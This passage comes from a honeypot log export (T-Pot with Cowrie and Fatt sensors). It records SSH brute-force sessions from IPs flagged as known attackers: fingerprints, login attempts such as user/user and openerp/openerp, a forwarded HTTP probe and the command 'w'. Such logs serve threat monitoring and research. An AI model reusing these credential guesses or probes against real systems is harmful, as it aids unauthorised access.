"ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 51266, "dest_port": 22, "timestamp": "2021-09-20T11:18:04.253238", "@timestamp": "2021-09-20T11:18:04.253Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28501	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:17:49.939288+03	2021-09-20 14:30:02.916524+03	{"_id": "5wbtAnwBvYTbRNuELy4S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.login.success", "message": "login attempt [user/user] succeeded", "session": "373d7f38ef6e", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T11:17:49.939288Z", "@timestamp": "2021-09-20T11:17:49.939Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	\N	\N
28495	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:18:04.253528+03	2021-09-20 14:30:02.907523+03	{"_id": "AwbtAnwBvYTbRNuEZS_K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "1c18ed2d5a82", "@version": "1", "timestamp": "2021-09-20T11:18:04.253528Z", "@timestamp": "2021-09-20T11:18:04.253Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28496	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:18:03.907602+03	2021-09-20 14:30:02.909525+03	{"_id": "AgbtAnwBvYTbRNuEZS_K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "1c18ed2d5a82", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:18:03.907602Z", "@timestamp": "2021-09-20T11:18:03.907Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28497	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:18:06.256371+03	2021-09-20 14:30:02.910523+03	{"_id": "BwbtAnwBvYTbRNuEbS-b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:41100 (192.168.176.2:22) [session: 1ad8a363ddc9]", "session": "1ad8a363ddc9", "@version": "1", "protocol": "ssh", "src_port": 41100, "dest_port": 22, "timestamp": "2021-09-20T11:18:06.256371Z", "@timestamp": "2021-09-20T11:18:06.256Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28498	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:18:06.568287+03	2021-09-20 14:30:02.912523+03	{"_id": "DwbtAnwBvYTbRNuEcC-f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 41100, "dest_port": 22, "timestamp": "2021-09-20T11:18:06.568287", "@timestamp": "2021-09-20T11:18:06.568Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28499	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:18:07.00294+03	2021-09-20 14:30:02.913524+03	{"_id": "EQbtAnwBvYTbRNuEcS-E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [openerp/openerp] failed", "session": "1c18ed2d5a82", "@version": "1", "password": "openerp", "username": "openerp", "timestamp": "2021-09-20T11:18:07.002940Z", "@timestamp": "2021-09-20T11:18:07.002Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28502	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:17:50.065013+03	2021-09-20 14:30:02.917524+03	{"_id": "6gbtAnwBvYTbRNuELy4U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"id": 0, "data": "b'GET /multi/checkref.php HTTP/1.1\\\\r\\\\nHost: 69.195.128.18\\\\r\\\\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt\\\\\\\\)\\\\r\\\\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\\\\r\\\\nAccept-Language: en-US\\\\r\\\\nConnection: TE, close\\\\r\\\\nReferer: http://1632136669.com/\\\\r\\\\nTe: deflate,gzip;q=0.3\\\\r\\\\n\\\\r\\\\n'", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "69.195.128.18", "eventid": "cowrie.direct-tcpip.data", "message": "discarded direct-tcp forward request 0 to 69.195.128.18:80 with data b'GET /multi/checkref.php HTTP/1.1\\\\r\\\\nHost: 69.195.128.18\\\\r\\\\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt\\\\\\\\)\\\\r\\\\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\\\\r\\\\nAccept-Language: en-US\\\\r\\\\nConnection: TE, close\\\\r\\\\nReferer: http://1632136669.com/\\\\r\\\\nTe: deflate,gzip;q=0.3\\\\r\\\\n\\\\r\\\\n'", "session": "373d7f38ef6e", "@version": "1", "dest_port": 80, "timestamp": "2021-09-20T11:17:50.065013Z", "@timestamp": "2021-09-20T11:17:50.065Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.data	\N	\N	\N
28503	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:18:03.877362+03	2021-09-20 14:30:02.918524+03	{"_id": "_QbtAnwBvYTbRNuEYS7h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:51266 (192.168.176.2:22) [session: 1c18ed2d5a82]", "session": "1c18ed2d5a82", "@version": "1", "protocol": "ssh", "src_port": 51266, "dest_port": 22, "timestamp": "2021-09-20T11:18:03.877362Z", "@timestamp": "2021-09-20T11:18:03.877Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28504	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:18:08.929662+03	2021-09-20 14:30:02.919524+03	{"_id": "EwbtAnwBvYTbRNuEeS9V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [sanritu-m/sanritu-m1234] failed", "session": "1ad8a363ddc9", "@version": "1", "password": "sanritu-m1234", "username": "sanritu-m", "timestamp": "2021-09-20T11:18:08.929662Z", "@timestamp": "2021-09-20T11:18:08.929Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28505	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:18:11.754975+03	2021-09-20 14:30:02.921524+03	{"_id": "FgbtAnwBvYTbRNuEgS8m", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "1ad8a363ddc9", "@version": "1", "duration": 5.495907783508301, "timestamp": "2021-09-20T11:18:11.754975Z", "@timestamp": "2021-09-20T11:18:11.754Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28506	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:18:09.038305+03	2021-09-20 14:30:02.922524+03	{"_id": "FAbtAnwBvYTbRNuEeS9V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "1c18ed2d5a82", "@version": "1", "duration": 5.158309459686279, "timestamp": "2021-09-20T11:18:09.038305Z", "@timestamp": "2021-09-20T11:18:09.038Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
44241	87.255.215.173	109.199.241.180	Cowrie	2021-09-20 16:35:17.189691+03	2021-09-20 16:45:01.400567+03	{"_id": "xAZrA3wBvYTbRNuEA6Zu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.255.215.173", "asn": 39188, "as_org": "ICON LTD", "latitude": 48.0, "location": {"lat": 48.0, "lon": 68.0}, "timezone": "Asia/Almaty", "longitude": 68.0, "country_name": "Kazakhstan", "country_code2": "KZ", "country_code3": "KZ", "continent_code": "AS"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.255.215.173", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "a1a8232548b8", "@version": "1", "timestamp": "2021-09-20T13:35:17.189691Z", "@timestamp": "2021-09-20T13:35:17.189Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	KZ
28507	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:18:14.712416+03	2021-09-20 14:30:02.923523+03	{"_id": "JAbtAnwBvYTbRNuEjC_h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", 